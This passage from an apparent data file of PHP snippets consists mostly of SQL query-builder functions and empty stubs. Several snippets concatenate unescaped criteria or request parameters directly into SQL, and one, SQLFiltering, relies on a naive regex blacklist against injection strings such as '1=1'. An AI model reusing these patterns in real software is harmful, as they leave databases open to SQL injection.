ORDER BY '.implode(',', $order);\n\tif ($limit) $sql .= ' LIMIT '.$limit[0].' OFFSET '.$limit[1];\n\treturn $sql;\n}", "protected function buildSql()\n {\n $this->selectSQL = ''; // reset query string\n\n $this->appendSql(\"SELECT \" . $this->buildFieldsList() . \" FROM \" . $this->fromTable)\n ->appendSql(!empty($this->joinsString) ? \" \" . $this->joinsString : \"\")\n ->appendSql(\" WHERE \" . (!empty($this->whereString) ? \" \" . $this->whereString : \" 1\"))\n ->appendSql(!empty($this->groupbyString) ? \" GROUP BY \" . $this->groupbyString : \"\")\n ->appendSql(!empty($this->orderbyString) ? \" ORDER BY \" . $this->orderbyString : \"\")\n ->appendSql(!empty($this->limitString) ? \" \" . $this->limitString : \"\");\n }", "protected function _createColumnQuery()\n\t{\n\t\n\t}", "public function getSQL();", "public function buildQuery() {\n\t\t$where = (sizeof($this->wheres) > 0) ? ' WHERE '.implode(\" \\n AND \\n\\t\", $this->wheres) : '';\n\t\t$order = (sizeof($this->orders) > 0) ? ' ORDER BY '.implode(\", \", $this->orders) : '' ;\n\t\t$group = (sizeof($this->groups) > 0) ? ' GROUP BY '.implode(\", \", $this->groups) : '' ;\n\t\t$query = 'SELECT '.implode(\", \\n\\t\", $this->fields).\"\\n FROM \\n\\t\".$this->class->table.\"\\n \".implode(\"\\n \", $this->joins).$where.' '.$group.' '.$order.' '.$this->limit;\n\t\treturn($query);\n\t}", "public function buildSqlString()\n {\n $param = array();\n\n $join = '';\n $filter = '';\n $order = '';\n $limit = '';\n\n // Create the fieldprefix. If given as alias use this, otherwise we use the tablename\n $field_prefifx = !empty($this->alias) ? $this->alias : '{db_prefix}' . $this->tbl;\n\n // Biuld joins\n if (!empty($this->join))\n {\n $tmp = array();\n\n foreach ( $this->join as $def )\n $tmp[] = ' ' . $def['by'] . ' JOIN ' . '{db_prefix}' . (isset($def['as']) ? $def['tbl'] . ' AS ' . $def['as'] : $def['join']) . ' ON (' . $def['cond'] . ')';\n }\n\n $join = isset($tmp) ? implode(' ', $tmp) : '';\n\n // Create fieldlist\n if (!empty($this->fields))\n {\n // Add `` to some field names as reaction to those stupid developers who chose systemnames as fieldnames\n foreach ( $this->fields as $key_field => $field )\n {\n if (in_array($field, array('date', 'time')))\n $field = '`' . $field . '`';\n\n // Extend fieldname either by table alias or name when no dot as alias/table indicator is found.\n #if (strpos($field, '.') === false)\n # $field .= (!empty($this->alias) ? $this->alias : $this->tbl) . '.' . $field;\n\n $this->fields[$key_field] = $field;\n }\n\n $fieldlist = implode(', ', $this->fields);\n } else\n {\n $fieldlist = '*';\n }\n\n // Create filterstatement\n $filter = !empty($this->filter) ? ' WHERE ' . $this->filter : null;\n\n // Create group by statement\n $group_by = !empty($this->group_by) ? ' GROUP BY ' . $this->group_by : null;\n\n // Create having statement\n $having = !empty($this->having) ? ' HAVING ' . $this->having : null;\n\n // Create order statement\n $order = !empty($this->order) ? ' ORDER BY ' . $this->order : null;\n\n // Create limit statement\n if (!empty($this->limit))\n {\n $limit = ' LIMIT ';\n\n if (isset($this->limit['lower']))\n $limit .= $this->limit['lower'];\n\n if (isset($this->limit['lower']) && isset($this->limit['upper']))\n $limit .= ',' . $this->limit['upper'];\n }\n\n // We need a string for the table. if there is an alias, we have to set it\n $tbl = !empty($this->alias) ? $this->tbl . ' AS ' . $this->alias : $this->tbl;\n\n // Is this an distinct query?\n $distinct = $this->distinct ? 'DISTINCT ' : '';\n\n // Create sql statement by joining all parts from above\n $this->sql = 'SELECT ' . $distinct . $fieldlist . ' FROM {db_prefix}' . $tbl . $join . $filter . $group_by . $having . $order . $limit;\n\n return $this->sql;\n }", "public function getQuerySelect() {\n $R = 'R_'. $this->id;\n return \"$R.value_id AS `\". $this->name.\"`\";\n }", "public function createQuery()\n\t{\n\t\t$this->tab[] = $this->action;\n\t\t$this->tab[] = !is_array($this->field) ? $this->field : join(', ',$this->field);\n\t\t$this->tab[] = ' FROM '.$this->from;\n\t\tif(!empty($this->where)){$this->tab[] = 'WHERE '.$this->where;}\n\t\tif(!empty($this->and)){$this->tab[] = 'AND '.$this->and;}\n\t\tif(!empty($this->or)){$this->tab[] = 'OR '.$this->or;}\n\t\tif(!empty($this->in)){$this->tab[] = 'IN '.$this->in;}\n\t\tif(!empty($this->beetween)){$this->tab[] = 'BEETWEEN '.$this->beetween;}\n\t\tif(!empty($this->not)){$this->tab[] = 'NOT '.$this->not;}\n\t\tif(!empty($this->like)){$this->tab[] = 'LIKE '.$this->like;}\n\t\tif(!empty($this->order)){$this->tab[] = 'ORDER BY '.$this->order;}\n\t\treturn join(\" \",$this->tab);\n\t}", "final public static function toSQL()\n {\n $select = false;\n foreach (self::$starts as $reserved) {\n if (strpos(self::$query, $reserved . ' ') === 0) {\n $select = true;\n break;\n }\n }\n\n if (!$select) {\n self::$query = \"SELECT * FROM \" . self::tableName() . self::$query;\n }\n\n\n $values = [];\n for ($i = 0; $i < sizeof(self::$bindParams); $i++) {\n foreach (self::$bindParams[$i] as $item) {\n $values[] = $item;\n }\n }\n\n if (sizeof($values) > 0) {\n $query = self::$query;\n self::$query = \"\";\n self::$where = false;\n self::$bindParams = array();\n $query = str_replace(\"?\", \"#%s#\", $query);\n $query = sprintf($query, ...$values);\n $query = str_replace(\"#\", \"'\", $query);\n return sprintf($query, ...$values);\n }\n return self::$query;\n }", "public function formatQuery($sql) {\r\n\t\t//regex work with a lookahead to avoid splitting things inside single quotes\r\n\t\t$sql = preg_replace(\r\n\t\t\t\t\"/(WHERE|FROM|GROUP BY|HAVING|ORDER BY|LIMIT|OFFSET|UNION|DUPLICATE KEY)(?=(?:(?:[^']*+'){2})*+[^']*+\\z)/\", \"\\n$0\", $sql\r\n\t\t);\r\n\t\t$sql = preg_replace(\r\n\t\t\t\t\"/(INNER|LEFT|RIGHT|CASE|WHEN|END|ELSE|AND)(?=(?:(?:[^']*+'){2})*+[^']*+\\z)/\", \"\\n $0\", $sql);\r\n\t\treturn $sql;\r\n\t}", "public function get_query()\n {\n }", "public function get_query()\n {\n }", "public function get_query()\n {\n }", "public function get_query()\n {\n }", "public function get_query()\n {\n }", "public function get_query()\n {\n }", "public function get_query()\n {\n }", "public function get_query()\n {\n }", "public function get_query()\n {\n }", "public function getSQL(){\n $sqlString = \"select \";\n $campos = $this->getCampos();\n //var_dump($campos);\n if (is_array($campos) && empty($campos)) {\n $sqlString .= \" * \";\n } else {\n $campos = \"\";\n foreach ($this->getCampos() as $key => $value) {\n if (!$campos == \"\") { \n $campos.=\" ,\"; \n };\n $campos.=\" \".$value.\" as \".$key.\" \";\n }\n $sqlString .= $campos;\n }\n $sqlString .= \" from \" . $this->getTabla();\n if ( $this->getSQLFilter() != \"\" ) {\n $sqlString .= \" where \" . $this->getSQLFilter();\n }\n \n $sqlString .= $this->getSQLGroupBy();\n $sqlString .= $this->getSQLOrderBy();\n //echo $sqlString.\"\\n\";\n return $sqlString; \n }", "private function buildSelectString () \n {\n $this->selectSql = \"SELECT \";\n $this->selectSql .= $this->columns;\n $this->selectSql .= \" FROM \" . $this->tableName;\n if ($this->where !== null && $this->where !== \"\") {\n $this->selectSql .= \" WHERE \" . $this->where;\n }\n if ($this->order !== null && $this->order !== \"\") {\n $this->selectSql .= \" ORDER BY \" . $this->order;\n }\n if ($this->other !== null && $this->other !== \"\") {\n $this->selectSql .= $this->other;\n }\n }", "public function toQuery();", "function query() {\n \n $this->ensure_my_table();\n \n if ($this->options['operator'] == 'in') {\n $keys = array_keys($this->value);\n\n $this->query->add_where(0, $this->table_alias.'.id IN ('. implode(',', $keys).')' );\n }\n\n }", "private function createBaseQuery(): string\n {\n // Prefix the table columns with 'entries.'\n $tableColumns = array_map(function ($column) {\n return 'entries.' . $column;\n }, self::TABLE_COLUMNS);\n\n if ($this->listView) {\n // Filter out the properties that are not available to the listview\n $jsonColumns = array_filter($this->properties, function (Collection\\Property $property) {\n return $property->getIncludeInJsonListView();\n });\n }\n\n // Create the select syntax for the json data column\n $jsonColumns = array_map(function (Collection\\Property $property) {\n return $this->jsonUnquote($property->getIdentifier()) . ' AS `' . $property->getIdentifier() . '`';\n }, $jsonColumns ?? $this->properties);\n\n // Merge both of the above\n $columns = array_merge($tableColumns, $jsonColumns);\n\n // Create the select statement\n $select = implode(', ', $columns);\n\n // Create the query\n // We need the entries.data to be able to perform a HAVING query on it, when parsing the entry, the DATA object is removed\n return 'SELECT entries.data, ' . $select . ' FROM collection_entries AS entries WHERE entries.collection_id = :collection_id AND entries.active = 1 ';\n }", "protected function _sql_select ( /* void */ )\n {\n /*\n Start SQL query.\n */\n $sql = ($this->bDistinct) ? 'SELECT DISTINCT ' : 'SELECT ';\n /*\n Select which fields ?\n */\n $sql .= (empty($this->aFields)) ? '*' : implode(', ', $this->aFields);\n /*\n From which tables ?\n */\n $sql .= (empty($this->aTables)) ? '' : \"\\nFROM \" . implode(', ', $this->aTables);\n /*\n Join something ?\n */\n if (!empty($this->aJoin))\n {\n foreach ($this->aJoin as $j)\n {\n $sql .= \"\\n{$j[0]} JOIN {$j[1]} ON {$j[2]}\";\n }\n }\n /*\n Where ?\n */\n if (!empty($this->aWhere))\n {\n $sql .= \"\\nWHERE \" . implode(\"\\n\", $this->aWhere);\n $sql .= (!empty($this->aLike)) ? implode(\"\\n\", $this->aLike) : '';\n }\n elseif (!empty($this->aLike))\n {\n $sql .= \"\\nWHERE \" . implode(\"\\n\", $this->aLike);\n }\n /*\n Group by ?\n */\n if (!empty($this->aGroupBy))\n {\n $sql .= \"\\nGROUP BY \" . implode(', ', $this->aGroupBy);\n }\n /*\n Having ?\n */\n if (!empty($this->aHaving))\n {\n $sql .= \"\\nHAVING \";\n foreach ($this->aHaving as $i)\n {\n $sql .= \"\\n{$i[0]}{$i[1]} {$i[2]}\";\n }\n }\n /*\n Order by ?\n */\n if (!empty($this->aOrderBy))\n {\n $sql .= \"\\nORDER BY \";\n foreach ($this->aOrderBy as $i)\n {\n $sql .= \"{$i[0]} {$i[1]}, \";\n }\n $sql = trim($sql, ', ');\n }\n /*\n Query limit ?\n */\n if ($this->nLimit !== false)\n {\n if ($this->nOffset !== false)\n {\n $sql .= \"\\nLIMIT \" . $this->nOffset . ', ' . $this->nLimit;\n }\n else\n {\n $sql .= \"\\nLIMIT 0, \" . $this->nLimit;\n }\n }\n /*\n Return SQL.\n */\n return $sql;\n }", "public function sql() {\n\t\t$sqlT = \\lulo\\twig\\TwigTemplate::factoryHtmlResource(\\lulo\\query\\Query::PATH . \"/select/query.twig.sql\");\n\t\treturn $sqlT->render([\"query\" => $this]);\n\t}", "public function getMagicSqlSubQuery(): string;", "function SQLFiltering($sql){\n // 해킹 공격을 대비하기 위한 코드\n $sql = preg_replace(\"/\\s{1,}1\\=(.*)+/\", \"\", $sql); // 공백이후 1=1이 있을 경우 제거\n $sql = preg_replace(\"/\\s{1,}(or|and|null|where|limit)/i\", \" \", $sql); // 공백이후 or, and 등이 있을 경우 제거\n $sql = preg_replace(\"/[\\s\\t\\'\\;\\=]+/\", \"\", $sql); // 공백이나 탭 제거, 특수문자 제거\n return $sql;\n}", "public function getQuerySql() {\n $sql = parent::getQuerySql();\n $connection = $this->model->getMeta()->getConnection();\n\n return $this->parseVariablesIntoSql($sql, $connection);\n }", "public function to_sql()\n {\n }", "protected static function buildSelectionQuery() \n {\n return Query::select()->\n from(self::getTableName());\n }", "public function getSql();", "public function getSql();", "protected function toBaseSQL() {\r\n\t\t$sql=' FROM '.$this->resolveTable();\r\n\r\n\t\t$sql.=$this->buildJoinClause();\r\n\t\t$sql.=$this->buildWhereClause();\r\n\r\n\t\t$sql.=$this->buildGroupClause();\r\n\r\n\t\treturn $sql;\r\n\t}", "public function toSQL()\n {\n $sql = '`' . $this->fieldName . '` ' . $this->getOperator() . ' ' . $this->getSearchValue();\n if (null != $this->tableName) {\n $sql = '`' . $this->tableName . '`.' . $sql;\n }\n \n return $sql;\n }", "function SelectSQL() {\n\t\t$sFilter = $this->getSessionWhere();\n\t\tif ($this->CurrentFilter <> \"\") {\n\t\t\tif ($sFilter <> \"\") $sFilter = \"(\" . $sFilter . \") AND \";\n\t\t\t$sFilter .= \"(\" . $this->CurrentFilter . \")\";\n\t\t}\n\t\t$sFilter = $this->ApplyUserIDFilters($sFilter);\n\t\t$sSort = $this->getSessionOrderBy();\n\t\treturn ew_BuildSelectSql($this->SqlSelect(), $this->SqlWhere(), $this->SqlGroupBy(),\n\t\t\t$this->SqlHaving(), $this->SqlOrderBy(), $sFilter, $sSort);\n\t}", "function customQuery($query) \t{\n $res = $this->execute($query);\n\t\t return $res;\n\t}", "abstract protected function _getSQL(): String;", "protected function user_where_clause() {}", "private function setField()\n {\n $sql = '';\n $sql = rtrim($sql , ', ');\n\n foreach (array_keys($this->data) as $key){\n $sql .= '`' . $key . '` = ?, ';\n }\n\n $sql = rtrim($sql , ', ');\n return $sql;\n }", "public function sql($criteria=NULL)\n {\n if($this->limite == 0 OR $this->offset() == 0){\n\t $sql = $this->sql . \"\";\n\t return $sql;\n\t}\n else{\n $sql = $this->sql . \" LIMIT {$this->limite} OFFSET {$this->offset()} \";\n\treturn $sql;\n }\n }", "public function make(){\n $query=$this->select.\" \".$this->from;\n if(!empty($this->where)){\n\t$query=$query.\" \".$this->where;\n }\n if(!empty($this->order)){\n\t$query= $query.\" \".$this->order;\n }\n return $query;\n}", "function str()\n\t{\n return\n \"SELECT $this->select\" .\n \" FROM $this->from \" .\n \" WHERE $this->where \" .\n ($this->group_by ? \" GROUP BY $this->group_by\": '') .\n ($this->having ? \" HAVING $this->having\" : '') .\n ($this->order_by ? \" ORDER BY $this->order_by\": '') .\n ($this->limit ? \" LIMIT $this->limit\": '');\t\t\t\n }", "protected function getSelectStatement()\n {\n return \"SELECT BookID, ISBN10, ISBN13, Title, CopyrightYear, TrimSize, PageCountsEditorialEst\n as PageCount, Description, CoverImage, Status, Subcategories.SubcategoryID, SubcategoryName, Imprints.ImprintID, Imprint, BindingType FROM Books\n JOIN Statuses ON (Books.ProductionStatusID = Statuses.StatusID) JOIN Subcategories ON \n (Books.SubcategoryID = Subcategories.SubcategoryID) JOIN Imprints USING (ImprintID) JOIN BindingTypes USING (BindingTypeID)\";\n }", "private function buildQuery(): void\n {\n $this->query = self::CREATE_TABLE;\n\n if ($this->ifNotExists) {\n $this->query .= self::IF_NOT_EXISTS;\n }\n\n $this->query .= $this->table . self::OPENING_BRACKET;\n\n $this->query .= join(', ', $this->columns);\n\n if (!empty($this->keys)) {\n $this->query .= ',' . join(',', $this->keys);\n }\n\n $this->query .= self::CLOSING_BRACKET;\n\n if (!empty($this->engine)) {\n $this->query .= self::ENGINE . $this->engine;\n }\n\n if (!empty($this->charset)) {\n $this->query .= self::CHARSET . $this->charset;\n }\n }", "public function getWhereSQL()\n {\n return \" AND \" . $this->field_where_name . \" LIKE '%\" . $this->field_row->criteria . \"%' \";\n \n }", "public function GetSQL()\n {\n\n \t$sql = \"\nSELECT \n\temployee.lastName AS employee_last_name,\n\temployee.firstName AS employee_first_name,\n\tcustomer.companyName AS customer_company,\n\torderDate,\n \tCOUNT(DISTINCT(orderDetail.id)) AS distinct_products_ordered,\n \tGROUP_CONCAT(DISTINCT productName) AS product_list,\n\tshipStateProvince,\n\tshipCity,\n\tshipAddress,\n\tshipName,\n\temployee.id AS employee_id,\n\tcustomer.id AS customer_id, \n\torder.id AS order_id\nFROM DURC_northwind_data.`order` \nJOIN DURC_northwind_model.employee ON \n\temployee.id =\n \temployee_id\nJOIN DURC_northwind_model.customer ON \n\tcustomer.id =\n \tcustomer_id\nJOIN DURC_northwind_data.orderDetail ON \n\torderDetail.order_id =\n \t`order`.id\nJOIN DURC_northwind_model.product ON \t\n\torderDetail.product_id =\n \tproduct.id \nGROUP BY `order`.id\n\";\n\t\t\n \treturn $sql;\n }", "public function sql(){\n $str = \"\";\n foreach($this->params as $key => $val){\n if($val != false){\n $str .= \"$key $val \";\n }\n }\n return $str;\n }", "static function custom_get_sql() {\n # this is the default functionality\n $table = static::get_tablename();\n return \"select * from $table\";\n }", "public function query() {\n $this->field_alias = $this->real_field;\n if (isset($this->definition['trovequery'])) {\n $this->query->add_where('', $this->definition['trovequery']['arg'], $this->definition['trovequery']['value']);\n }\n }", "static function GetCustomQuery($criteria)\r\n\t{\r\n\t\t$sql = \"select\r\n\t\t\t'custom value here...' as CustomFieldExample\r\n\t\t\t,`agenda_sgp`.`agenda_id` as Id\r\n\t\t\t,`agenda_sgp`.`agenda_data` as Data\r\n\t\t\t,`agenda_sgp`.`agenda_horario` as Horario\r\n\t\t\t,`agenda_sgp`.`agenda_publico` as Publico\r\n\t\t\t,`agenda_sgp`.`agenda_evento` as Evento\r\n\t\t\t,`agenda_sgp`.`agenda_equipe` as Equipe\r\n\t\t\t,`agenda_sgp`.`agenda_local` as Local\r\n\t\tfrom `agenda_sgp`\";\r\n\r\n\t\t// the criteria can be used or you can write your own custom logic.\r\n\t\t// be sure to escape any user input with $criteria->Escape()\r\n\t\t$sql .= $criteria->GetWhere();\r\n\t\t$sql .= $criteria->GetOrder();\r\n\r\n\t\treturn $sql;\r\n\t}", "private function query() {\n return ApplicationSql::query($this->_select, $this->_table, $this->_join, $this->_where, $this->_order, $this->_group, $this->_limit, $this->_offset);\n }", "private function _prepare_select_sql($columns,$table){\n $this->debugBacktrace();\n $distinct = $this->distinct; $this->distinct = \"\";\n $sql = \"\";\n switch ($this->queryType){\n case \"select\":\n $sql = \"SELECT \". $distinct . \" \" . $columns .\" FROM \" . $table;\n break;\n case \"count\":\n case \"min\":\n case \"max\":\n case \"sum\":\n $aggregateFunctionName = $this->queryType;\n $sql = \"SELECT \". $aggregateFunctionName .\"(\". $distinct . \" \". $columns .\") as `\". $aggregateFunctionName .\"` FROM \" . $table;\n break;\n }\n \n if(!empty($this->joinClause)){\n $sql .= \" \" . $this->joinClause;\n $this->joinClause = \"\";\n }\n \n if(!empty($this->whereClause)){\n $sql .= \" WHERE \" . $this->whereClause;\n $this->whereClause =\"\";\n }\n \n \n if(!empty($this->groupByClause)){\n $sql .= \" GROUP BY \" . $this->groupByClause;\n $this->groupByClause =\"\";\n }\n \n if(!empty($this->havingClause)){\n $sql .= \" HAVING \" . $this->havingClause;\n $this->havingClause = \"\";\n }\n \n if(!empty($this->orderByClause)){\n $sql .= ' ORDER BY '. $this->orderByClause;\n $this->orderByClause = \"\";\n }\n //LIMIT 10 OFFSET 10\n if($this->selectModifier == \"first\"){\n $sql .= ' LIMIT 1';\n }\n else{\n if($this->takeQuantity > 0){\n $sql .= \" LIMIT \" . $this->takeQuantity;\n }\n }\n \n if($this->skipQuantity>0){\n $sql .= \" OFFSET \" . $this->skipQuantity;\n }\n \n return $sql;\n }", "protected function getGeneralWhereClause() {}", "public static function baseQuery() {\n $sql = 'SELECT*FROM '.static::getTable();\n return $sql;\n }", "public function getQuery()\n {\n $query = 'SELECT ';\n $query .= implode(', ', $this->select) . ' ';\n $query .= \"FROM $this->kind \";\n \n if ( ! empty($this->where) )\n {\n $query .= \"WHERE $this->where \";\n }\n \n if ( ! empty($this->groupBy) )\n {\n $query .= \"GROUP BY $this->groupBy \";\n }\n \n if ( ! empty($this->orderBy) )\n {\n $query .= \"ORDER BY $this->orderBy $this->orderByDirection \";\n }\n \n if ( $this->limit !== null )\n {\n $query .= \"LIMIT $this->limit \";\n }\n \n if ( $this->offset !== null )\n {\n $query .= \"OFFSET $this->offset\";\n }\n \n return trim($query);\n }", "function get_sql_select(){\r\n\r\n\t\tif(stripos($this->sql_query,' WHERE ')!==false)\r\n\t\t\t$select_str=substr($this->sql_query,0,stripos($this->sql_query,' WHERE '));\r\n\t\telse\r\n\t\t\t$select_str=$this->sql_query;\r\n\r\n\t\treturn $select_str;\r\n\r\n\t}", "public function fetchSqlString();", "private function _getDatatablesQuery()\n {\n $this->query = DB::table($this->table);\n $this->query->leftJoin('categories', 'categories.id', '=', 'documents.category_id');\n $this->query->select('documents.stt', 'documents.id', 'documents.title','documents.updated_at');\n\n if (strpos(URL::current(), 'admin') < 0) {\n $this->query->where('categories.searchable', 1);\n }\n\n if (Input::get('cat'))\n $this->query->where('documents.category_id', Input::get('cat'));\n\n if (Input::get('isBuyed')) {\n $this->query->join('users_documents', 'users_documents.document_id', '=', 'documents.stt');\n $this->query->where('users_documents.user_id', Auth::user()->id);\n }\n\n if(Input::has('search.value')) {\n $this->_getSearchStringQuery();\n }\n\n // here order processing\n if (isset($_GET['order'])) {\n $this->query->orderBy(\n $this->column_order[$_GET['order']['0']['column']],\n $_GET['order']['0']['dir']\n );\n } else if (isset($this->order)) {\n $order = $this->order;\n $this->query->orderBy(key($order), $order[key($order)]);\n }\n }", "function _create_filter_sql () {\n\t\t$SF = &$_SESSION[$this->_filter_name];\n\t\tforeach ((array)$SF as $k => $v) $SF[$k] = trim($v);\n\t\t// Generate filter for the common fileds\n\t\tif (strlen($SF[\"text\"]))\t\t$sql .= \" AND text LIKE '%\"._es($SF[\"text\"]).\"%' \\r\\n\";\n\t\tif (strlen($SF[\"engine\"]))\t\t$sql .= \" AND engine=\".intval($SF[\"engine\"]).\" \\r\\n\";\n\t\treturn substr($sql, 0, -3);\n\t}", "abstract function get_sql_filter($data);", "function augmentSQL(SQLQuery &$query) {\r\n\t}", "private function __select() {\n $from_str = $this->getFromStr();\n $field = $this->field_str;\n if (empty($field)) {\n $field = '*';\n }\n $sql = \"SELECT {$field} FROM {$from_str}\";\n if (!empty($this->join_str_list)) {\n $temp = implode(' ', $this->join_str_list);\n $sql .= \" {$temp}\";\n }\n if (!empty($this->where_str)) {\n $sql .= \" WHERE {$this->where_str}\";\n }\n if (!empty($this->group_str)) {\n $sql .= \" GROUP BY {$this->group_str}\";\n }\n if (!empty($this->order_str)) {\n $sql .= \" ORDER BY {$this->order_str}\";\n }\n if (!empty($this->limit_str)) {\n $sql .= \" LIMIT {$this->limit_str}\";\n }\n $list = $this->query($sql);\n return $list;\n }", "abstract public function query($sql);", "private function beginQuery() {\n $this->sql = 'SELECT sum(inv_total_cost) as total_cost,id,businessname,email,businesstelephone,'\n . 'IFNULL((SELECT SUM(pfp_importo) as pfp_importo FROM plused_fincon_payments where find_in_set(plused_fincon_payments.pfp_bk_id,GROUP_CONCAT(derived_booking_invoice.inv_booking_id)) AND plused_fincon_payments.pfp_dare_avere =\"avere\" ),0) as pfp_import,'\n . 'ROUND((sum(inv_total_cost) - IFNULL((SELECT SUM(pfp_importo) as pfp_importo FROM plused_fincon_payments where find_in_set(plused_fincon_payments.pfp_bk_id,GROUP_CONCAT(derived_booking_invoice.inv_booking_id)) AND plused_fincon_payments.pfp_dare_avere =\"avere\" ),0)), 2) as overdue '\n . 'FROM (SELECT t.* FROM agnt_booking_invoice t INNER JOIN (SELECT inv_total_cost,MAX(inv_invoice_id) AS latest,inv_booking_id FROM agnt_booking_invoice GROUP BY inv_booking_id) t1 ON t1.inv_booking_id=t.inv_booking_id AND t1.latest=t.inv_invoice_id) AS derived_booking_invoice '\n . 'LEFT JOIN agenti ON agenti.id=derived_booking_invoice.inv_agent_id WHERE agenti.status=\"active\" ';\n }", "protected function _getSqlBase() {\n $sql = $this->getModel()->getTableName().' '.$this->getModel()->getAlias() .\" \n JOIN \".$this->_getPedido()->getModel()->getTableName().\" pedido ON ( cv_pagto_pedido.id_pedido = pedido.id ) \n LEFT JOIN \".$this->_getFormaPagamento()->getModel()->getTableName().\" forma_pagto ON ( cv_pagto_pedido.id_forma_pagto = forma_pagto.id ) \n LEFT JOIN \".$this->_getParcela()->getModel()->getTableName().\" parcela ON ( cv_pagto_pedido.id_parcela = parcela.id ) \"; \n return $sql;\n }", "protected function get_search_sql($search)\n {\n }", "public function createQuery() {}", "public function createQuery() {}", "public function createQuery() {}", "public function prepareQueryForCategory()\n {\n $sql = new SqlStatement();\n $sql->select(array('p.*'))\n ->from(array('p' => self::RESULTS_TABLE))\n ->innerJoin(array('pp' => 'product'), 'p.product_id = pp.product_id')\n ->innerJoin(array('pd' => 'product_description'), 'p.product_id = pd.product_id')\n ->where('pd.language_id = ?', (int)$this->config->get('config_language_id'))\n ->order($this->sortOrder)\n ->limit($this->productsLimit, $this->productsStart);\n \n if ($this->conditions->price) {\n if ($this->conditions->price->min) {\n $sql->where(\"{$this->subquery->actualPrice} >= ?\", array($this->conditions->price->min));\n }\n if ($this->conditions->price->max) {\n $sql->where(\"{$this->subquery->actualPrice} <= ?\", array($this->conditions->price->max));\n }\n }\n \n if ($this->conditions->rating) {\n $sql->where('ROUND(total) IN ('. implode(',', $this->conditions->rating[0]) . ')');\n } \n \n return $sql;\n }", "public function createQuery() {}", "public abstract function get_query();", "protected function getWhereClause() {}", "public abstract function getSelectSQL($fields, $from, $joins, $where, $having, $group, $order, $limit, $values, $forupdate);", "function SQLFormat ($query)\r{\r\t$lowercase = array ('select ', ' max', ' min', ' count', ' avg', ' sum',\r\t\t\t\t\t\t'from ', ' as ',\r\t\t\t\t\t\t'join ', \"left \\nJOIN \", \"right \\nJOIN \", \"inner \\nJOIN \", \"outer \\nJOIN \", ' on ',\r\t\t\t\t\t\t'where ', ' like ', ' and ', ' or ',\r\t\t\t\t\t\t'group by ',\r\t\t\t\t\t\t'order by ', ' asc', ' desc', 'ASC, ', 'DESC, ',\r\t\t\t\t\t\t'limit ',\r\t\t\t\t\t\t\"\\n\\n\");\r\t$uppercase = array ('SELECT ', ' MAX', ' MIN', ' COUNT', ' AVG', ' SUM',\r\t\t\t\t\t\t\"\\nFROM \", ' AS ',\r\t\t\t\t\t\t\"\\nJOIN \", \"\\nLEFT JOIN \", \"\\nRIGHT JOIN \", \"\\nINNER JOIN\", \"OUTER JOIN\", \"\\n\\tON \",\r\t\t\t\t\t\t\"\\nWHERE \", ' LIKE ', ' AND ', ' OR ',\r\t\t\t\t\t\t\"\\nGROUP BY \",\r\t\t\t\t\t\t\"\\nORDER BY\\n\\t\", ' ASC', ' DESC', \"ASC,\\n\\t\", \"DESC,\\n\\t\",\r\t\t\t\t\t\t\"\\nLIMIT \",\r\t\t\t\t\t\t\"\\n\");\r\r\treturn str_replace ($lowercase, $uppercase, $query);;\r}", "public function getQueryOrderby() {\n return '`'.$this->name.'`';\n }", "static function GetCustomQuery($criteria)\n\t{\n\t\t$sql = \"select \";\n\t\t\n\tif ($criteria->IdPalestra_Equals){\t\n\t\t$sql.= \" `palestra`.`id_palestra` as IdPalestra, \";\n\t}\n\t\n\t$sql.=\" `modelo_certificado`.`id_modelo_certificado` as IdModeloCertificado\n\t\t\t,`modelo_certificado`.`nome` as Nome\n\t\t\t,`modelo_certificado`.`texto_participante` as TextoParticipante\n\t\t\t,`modelo_certificado`.`texto_palestrante` as TextoPalestrante\n\t\t\t,`modelo_certificado`.`arquivo_css` as ArquivoCss\n\t\t\t,`modelo_certificado`.`elementos` as Elementos\n\t\tfrom `modelo_certificado`\";\n\t\t\n\t\tif ($criteria->IdPalestra_Equals){\n\t\t\n\t\t\t$sql .= \" inner join palestra on `palestra`.`id_modelo_certificado` = `modelo_certificado`.`id_modelo_certificado` \";\n\t\t\t\n\t\t\t$sql .= \" where `palestra`.`id_palestra` = '\" . $criteria->Escape($criteria->IdPalestra_Equals) . \"' \";\n\t\t\n\t\t}\n\n\t\t// the criteria can be used or you can write your own custom logic.\n\t\t// be sure to escape any user input with $criteria->Escape()\n\t\t//$sql .= $criteria->GetWhere();\n\t\t$sql .= $criteria->GetOrder();\n\n\t\treturn $sql;\n\t}", "public function query($sql);", "public function query($sql);", "public function query($sql);", "public function query($sql);", "protected function sqlToString()\n {\n return implode(' ', $this->query);\n }", "public function build_query(/* ... */)\n {\n $query = [\"SELECT\"];\n $model = $this->get_model();\n // Field selection\n $fields = [];\n foreach ($this->_fields as $_field) {\n $fields[] = $this->_build_select_field($_field);\n }\n $query[] = implode(', ', $fields);\n // Table Selection\n $query[] = 'FROM';\n $query[] = '`' . $model->get_table() . '`';\n // WHERE lookup\n $query[] = $this->build_where();\n if (null !== $this->_orderby) {\n $query[] = $this->_orderby;\n }\n if (null !== $this->_limit) {\n $query[] = $this->_limit;\n }\n return $model->get_connection()->prepare(implode(\" \", $query));\n }", "abstract protected function buildQuery(): string;", "protected function _getSqlBase() {\n $sql = $this->getModel()->getTableName().' '.$this->getModel()->getAlias() .\" \n JOIN \".$this->_getPedido()->getModel()->getTableName().\" pedido ON ( cv_item_pedido.id_pedido = pedido.id ) \n JOIN \".$this->_getProduto()->getModel()->getTableName().\" produto ON ( cv_item_pedido.id_produto = produto.id ) \n JOIN \".$this->_getConta()->getModel()->getTableName().\" usu_inc ON ( cv_item_pedido.id_usu_inc = usu_inc.id ) \n JOIN \".$this->_getConta()->getModel()->getTableName().\" usu_alt ON ( cv_item_pedido.id_usu_alt = usu_alt.id ) \"; \n return $sql;\n }", "public function toSql()\n {\n if (0 === count($this->getParams())) {\n return 'SELECT *';\n } else {\n return 'SELECT ' . implode(', ', $this->getParams());\n }\n }", "protected function buildQuery()\n\t{\n\t\t$this->query = count($this->conditions) ? 'WHERE ' . implode(' AND ', $this->conditions) : '';\n\t}", "public function getQuerySelect() {\n return \"a.submitted_on AS `\" .$this->name .\"`\";\n }", "protected function _getSqlBase() {\n $sql = $this->getModel()->getTableName().' '.$this->getModel()->getAlias() .\" \n LEFT JOIN \".$this->_getPagamento()->getModel()->getTableName().\" pagto_pedido ON ( cv_pagto_lanc.id_pagto_pedido = pagto_pedido.id ) \n LEFT JOIN \".$this->_getLancamento()->getModel()->getTableName().\" lancamento ON ( cv_pagto_lanc.id_lancamento = lancamento.id ) \"; \n return $sql;\n }", "public function newQuery();", "public function query() {\n if (isset($this->value, $this->definition['trovequery'])) {\n $this->query->args['method'] = 